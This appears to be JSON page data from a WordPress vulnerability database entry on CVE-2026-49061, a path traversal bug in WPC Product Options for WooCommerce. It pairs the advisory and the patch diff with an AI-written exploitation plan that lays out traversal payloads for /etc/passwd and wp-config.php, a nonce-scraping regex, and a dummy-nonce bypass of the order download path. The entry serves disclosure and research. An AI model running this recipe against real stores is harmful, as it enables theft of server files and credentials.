[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fGk2Am5hVPwD_56yqHVyKKQKyXMO-tE0ITAyvwpyvc2k":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":26,"research_verified":27,"research_rounds_completed":28,"research_plan":29,"research_summary":30,"research_vulnerable_code":31,"research_fix_diff":32,"research_exploit_outline":33,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":27,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":27,"source_links":37},"CVE-2026-49061","wpc-product-options-for-woocommerce-unauthenticated-arbitrary-file-download","WPC Product Options for WooCommerce \u003C= 3.2.1 - Unauthenticated Arbitrary File Download","The WPC Product Options for WooCommerce plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 3.2.1. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.","wpc-product-options",null,"\u003C=3.2.1","3.2.2","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","2026-06-08 00:00:00","2026-06-18 13:46:07",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ffd64b351-fbce-4c75-bdd7-3b38a1b5d049?source=api-prod",11,[22,23,24,25],"includes\u002Fclass-cart.php","languages\u002Fwpc-product-options.pot","readme.txt","wpc-product-options.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-49061 (WPC Product Options Path Traversal)\n\n## 1. Vulnerability Summary\nThe **WPC Product Options for WooCommerce** plugin (versions \u003C= 3.2.1) is vulnerable to an **Unauthenticated Arbitrary File Download** via Path Traversal. The vulnerability exists in the `process_file_link` method of the `Wpcpo_Cart` class. The plugin allows users to add custom data to cart items, including file paths intended for legitimate file uploads. However, the plugin fails to validate these paths when processing a download request and, in the case of order-related downloads, fails to properly verify security nonces.\n\n## 2. Attack Vector Analysis\n*   **Vulnerable Endpoint:** Any frontend page (the function is hooked to the `wp` action).\n*   **Vulnerable Parameters:** `wpcpo-key`, `wpcpo-cart-item` (for cart items) or `wpcpo-order-item` (for order items).\n*   **Authentication:** None required (unauthenticated).\n*   **Preconditions:** \n    1.  WooCommerce must be active.\n    2.  An attacker must be able to add an item to the cart with a manipulated `file` attribute in the `wpcpo-options` array.\n    3.  For the \"Cart\" path, a nonce `wpcpo_cart_file` is required.\n    4.  For the \"Order\" path, a nonce is required but **not verified**, only checked for existence.\n\n## 3. Code Flow\nThe vulnerability is located in `includes\u002Fclass-cart.php`:\n\n1.  **Entry Point:** The `Wpcpo_Cart` constructor registers `process_file_link` to the `wp` hook:\n    `add_action( 'wp', [ $this, 'process_file_link' ] );`\n2.  **Order Download Path (The \"Zero-Auth\" Path):**\n    *   The function checks `isset( $_GET['wpcpo-key'], $_GET['wpcpo-order-item'] ) && isset( $_GET['_wpnonce'] )`.\n    *   **CRITICAL BUG:** It checks `isset($_GET['_wpnonce'])` but **never calls `wp_verify_nonce()`** for the `order-item` block.\n    *   It retrieves metadata: `$options = wc_get_order_item_meta( $order_item_id, '_wpcpo_options_v2' )`.\n    *   It extracts the path: `$tmp_file_name = $options[ $file_key ]['file'];`.\n    *   It passes this directly to the sink: `readfile( $tmp_file_name );`.\n3.  **Cart Download Path:**\n    *   The function verifies a nonce: `wp_verify_nonce( $_GET['_wpnonce'], 'wpcpo_cart_file' )`.\n    *   It retrieves the path from the current session: `$tmp_file_name = WC()->cart->cart_contents[ $cart_item_key ]['wpcpo-options'][ $file_key ]['file'];`.\n    *   Sink: `readfile( $tmp_file_name );`.\n\nThe core issue is that the `file` attribute in `wpcpo-options` (stored in cart session or order meta) is populated via `add_cart_item_data` without path validation, allowing traversal strings like `..\u002F..\u002F..\u002F..\u002Fwp-config.php`.\n\n## 4. Nonce Acquisition Strategy\n### Cart Path (`wpcpo_cart_file`)\nIf using the cart-based exploitation (no checkout required):\n1.  **Identify Trigger:** The nonce is generated when a cart item with a file option is displayed.\n2.  **Shortcode\u002FPage:** Navigate to the WooCommerce Cart page (`\u002Fcart\u002F`).\n3.  **Extraction:** The plugin uses `woocommerce_get_item_data` to render option details. If an item has a \"file\" option, it generates a download link.\n4.  **Browser Eval:** Use `browser_eval` on the Cart page to extract the nonce from the `href` of the download link.\n    *   `browser_eval(\"document.querySelector('a[href*=\\\"wpcpo-cart-item\\\"]').href\")`\n\n### Order Path (Bypass)\nThe Order path in `process_file_link` is fundamentally broken:\n```php\nif ( isset( $_GET['wpcpo-key'], $_GET['wpcpo-order-item'] ) && isset( $_GET['_wpnonce'] ) ) {\n    \u002F\u002F ... logic follows without calling wp_verify_nonce()\n}\n```\n**No valid nonce is required.** Any value (e.g., `_wpnonce=1`) will satisfy the `isset` check.\n\n## 5. Exploitation Strategy\n\n### Phase 1: Inject Malicious Path into Cart\nPerform a POST request to add a product to the cart while injecting the traversal path.\n*   **Target:** A product page (e.g., `\u002F?product=test-product`) or `\u002F?add-to-cart=ID`.\n*   **Parameters:**\n    *   `add-to-cart`: `[PRODUCT_ID]`\n    *   `wpcpo-options[wpcpo-exploit][file]`: `..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd`\n    *   `wpcpo-options[wpcpo-exploit][url]`: `1` (required to trigger the `isset` check in `process_file_link`)\n    *   `wpcpo-options[wpcpo-exploit][value]`: `exploit.txt`\n\n### Phase 2: Retrieve Download Credentials\nNavigate to `\u002Fcart\u002F` to get the `wpcpo-cart-item` key (a MD5 hash generated by WooCommerce) and the `_wpnonce`.\n*   Use `http_request` to GET `\u002Fcart\u002F`.\n*   Regex for the download link: `\\?wpcpo-key=([^&]+)&wpcpo-cart-item=([^&]+)&_wpnonce=([^&\"]+)`.\n\n### Phase 3: Trigger Arbitrary Download\nConstruct the final request.\n*   **URL:** `\u002F?wpcpo-key=[KEY]&wpcpo-cart-item=[CART_ITEM_KEY]&_wpnonce=[NONCE]`\n*   **Expected Response:** Contents of `\u002Fetc\u002Fpasswd`.\n\n## 6. Test Data Setup\n1.  **Create Product:** Use WP-CLI to create a simple product.\n    *   `wp post create --post_type=product --post_title=\"Exploit Target\" --post_status=publish`\n2.  **Enable WPC Options:** (Optional) The plugin usually requires a \"File Upload\" field to be configured for a product, but if the `add_cart_item_data` filter is globally active, it may accept `wpcpo-options` POST data regardless of backend configuration.\n3.  **Identify Product ID:** Get the ID of the created product via `wp post list --post_type=product`.\n\n## 7. Expected Results\n*   The `process_file_link` function will execute because the `wpcpo-key` and `wpcpo-cart-item` (or `order-item`) parameters are present.\n*   The `isset(WC()->cart->cart_contents[...])` check will pass because we populated the cart via POST.\n*   The `readfile()` function will be called with the path `..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd`.\n*   The HTTP response will contain the sensitive file content with `Content-Type: application\u002Foctet-stream` (or inferred mime type).\n\n## 8. Verification Steps\n1.  **Check Cart Content:** Use WP-CLI to verify the injected data exists in the session (if possible) or simply verify the HTTP response body.\n2.  **Order Meta Verification:** If testing the Order path, use WP-CLI to check if the malicious path was saved:\n    *   `wp post meta list [ORDER_ITEM_ID]` (Note: Order items are in the `woocommerce_order_items` table).\n\n## 9. Alternative Approaches\nIf `add_cart_item_data` filters\u002Fsanitizes the `file` key, attempt the **Order path** by completing a checkout:\n1.  Add to cart as above.\n2.  Complete checkout at `\u002Fcheckout\u002F` (use \"Check payments\" or a free product).\n3.  Find the `order_item_id` from the \"Order Received\" page.\n4.  Trigger: `\u002F?wpcpo-key=wpcpo-exploit&wpcpo-order-item=[ID]&_wpnonce=anyvalue`.\n5.  This bypasses the `wp_verify_nonce` requirement entirely.","The WPC Product Options for WooCommerce plugin is vulnerable to unauthenticated arbitrary file download due to a path traversal flaw in the `process_file_link` function. Attackers can inject arbitrary file paths into cart item metadata and subsequently trigger a download, potentially accessing sensitive server files like `wp-config.php`.","\u002F\u002F includes\u002Fclass-cart.php line 62 (Cart download block)\nif ( isset( WC()->cart->cart_contents[ $cart_item_key ]['wpcpo-options'][ $file_key ]['url'] ) ) {\n    $file_name     = WC()->cart->cart_contents[ $cart_item_key ]['wpcpo-options'][ $file_key ]['value'];\n    $tmp_file_name = WC()->cart->cart_contents[ $cart_item_key ]['wpcpo-options'][ $file_key ]['file'];\n    \u002F\u002F ... (mime type logic)\n    header( \"Content-Length: \" . filesize( $tmp_file_name ) );\n    readfile( $tmp_file_name );\n    exit();\n}\n\n---\n\n\u002F\u002F includes\u002Fclass-cart.php line 105 (Order download block)\nif ( isset( $_GET['wpcpo-key'], $_GET['wpcpo-order-item'] ) && isset( $_GET['_wpnonce'] ) ) {\n    \u002F\u002F Note: No wp_verify_nonce call here\n    if ( ( $options = wc_get_order_item_meta( $order_item_id, '_wpcpo_options_v2' ) ) && isset( $options[ $file_key ] ) ) {\n        $file_name     = $options[ $file_key ]['value'];\n        $tmp_file_name = $options[ $file_key ]['file'];\n        \u002F\u002F ... (mime type logic)\n        header( \"Content-Length: \" . filesize( $tmp_file_name ) );\n        readfile( $tmp_file_name );\n        exit();\n    }\n}\n\n---\n\n\u002F\u002F includes\u002Fclass-cart.php line 275 (Data ingestion - inferred from patch)\n} else {\n    $post_options[ $key ] = $data;\n}","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpc-product-options\u002F3.2.1\u002Fincludes\u002Fclass-cart.php\t2026-05-28 04:07:48.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpc-product-options\u002F3.2.2\u002Fincludes\u002Fclass-cart.php\t2026-06-03 08:48:06.000000000 +0000\n@@ -60,7 +60,13 @@\n \t\t\t\tif ( isset( WC()->cart->cart_contents[ $cart_item_key ]['wpcpo-options'][ $file_key ]['url'] ) ) {\n \t\t\t\t\t$file_name     = WC()->cart->cart_contents[ $cart_item_key ]['wpcpo-options'][ $file_key ]['value'];\n \t\t\t\t\t$tmp_file_name = WC()->cart->cart_contents[ $cart_item_key ]['wpcpo-options'][ $file_key ]['file'];\n-\t\t\t\t\t$mime_type     = false;\n+\n+\t\t\t\t\t\u002F\u002F Security: validate the file path is within the uploads directory\n+\t\t\t\t\tif ( ! $this->validate_file_path( $tmp_file_name ) ) {\n+\t\t\t\t\t\twp_die( esc_html__( 'Invalid file path.', 'wpc-product-options' ), 403 );\n+\t\t\t\t\t}\n+\n+\t\t\t\t\t$mime_type = false;\n \n \t\t\t\t\tif ( function_exists( 'finfo_open' ) ) {\n \t\t\t\t\t\t$finfo     = finfo_open( FILEINFO_MIME_TYPE );\n@@ -108,7 +114,13 @@\n \t\t\t\tif ( ( $options = wc_get_order_item_meta( $order_item_id, '_wpcpo_options_v2' ) ) && isset( $options[ $file_key ] ) ) {\n \t\t\t\t\t$file_name     = $options[ $file_key ]['value'];\n \t\t\t\t\t$tmp_file_name = $options[ $file_key ]['file'];\n-\t\t\t\t\t$mime_type     = false;\n+\n+\t\t\t\t\t\u002F\u002F Security: validate the file path is within the uploads directory\n+\t\t\t\t\tif ( ! $this->validate_file_path( $tmp_file_name ) ) {\n+\t\t\t\t\t\twp_die( esc_html__( 'Invalid file path.', 'wpc-product-options' ), 403 );\n+\t\t\t\t\t}\n+\n+\t\t\t\t\t$mime_type = false;\n \n \t\t\t\t\tif ( function_exists( 'finfo_open' ) ) {\n \t\t\t\t\t\t$finfo     = finfo_open( FILEINFO_MIME_TYPE );\n@@ -275,7 +287,9 @@\n \t\t\t\t\t\t\t}\n \t\t\t\t\t\t}\n \t\t\t\t\t} else {\n-\t\t\t\t\t\t$post_options[ $key ] = $data;\n+\t\t\t\t\t\t\u002F\u002F Security: sanitize option data - strip keys that should only come from file uploads\n+\t\t\t\t\t\tunset( $data['file'], $data['url'], $data['file_url'] );\n+\t\t\t\t\t\t$post_options[ $key ] = wc_clean( $data );\n \t\t\t\t\t}\n \n \t\t\t\t\tif ( apply_filters( 'wpcpo_clear_request_data', true, $cart_item_data, $product_id ) ) {\n@@ -311,6 +325,38 @@\n \t\t\treturn $upload;\n \t\t}\n \n+\t\t\u002F**\n+\t\t * Validate that a file path is within the WordPress uploads directory.\n+\t\t * Prevents arbitrary file read attacks via path traversal.\n+\t\t *\n+\t\t * @param string $file_path The file path to validate.\n+\t\t *\n+\t\t * @return bool True if the path is valid and within uploads directory.\n+\t\t *\u002F\n+\t\tprivate function validate_file_path( $file_path ) {\n+\t\t\tif ( empty( $file_path ) || ! is_string( $file_path ) ) {\n+\t\t\t\treturn false;\n+\t\t\t}\n+\n+\t\t\t\u002F\u002F Resolve the real path to prevent directory traversal (..\u002F etc.)\n+\t\t\t$real_path = realpath( $file_path );\n+\n+\t\t\tif ( false === $real_path ) {\n+\t\t\t\treturn false;\n+\t\t\t}\n+\n+\t\t\t\u002F\u002F The file must be within the WordPress uploads directory\n+\t\t\t$upload_dir = wp_upload_dir();\n+\t\t\t$upload_base = realpath( $upload_dir['basedir'] );\n+\n+\t\t\tif ( false === $upload_base ) {\n+\t\t\t\treturn false;\n+\t\t\t}\n+\n+\t\t\t\u002F\u002F Ensure the resolved path starts with the upload base directory\n+\t\t\treturn str_starts_with( $real_path, $upload_base . DIRECTORY_SEPARATOR );\n+\t\t}","The exploit involves three steps: 1) Injecting a malicious file path by adding a product to the WooCommerce cart via a POST request. The attacker includes a `wpcpo-options` parameter where the `file` sub-key contains a traversal string (e.g., `..\u002F..\u002Fwp-config.php`). 2) Identifying the target endpoint. For the 'Order' path, the attacker can proceed to checkout or use a known order item ID. This path is particularly vulnerable because it checks for the presence of a `_wpnonce` but does not actually verify it. 3) Triggering the download by sending a GET request to the site root with parameters `wpcpo-key` (set during injection), `wpcpo-order-item` (the item ID), and a dummy `_wpnonce`. The server will then serve the file specified in the injected metadata using the `readfile()` function.","gemini-3-flash-preview","2026-06-26 02:37:36","2026-06-26 02:39:09",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","3.2.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpc-product-options\u002Ftags\u002F3.2.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpc-product-options.3.2.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpc-product-options\u002Ftags\u002F3.2.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpc-product-options.3.2.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpc-product-options\u002Ftags"]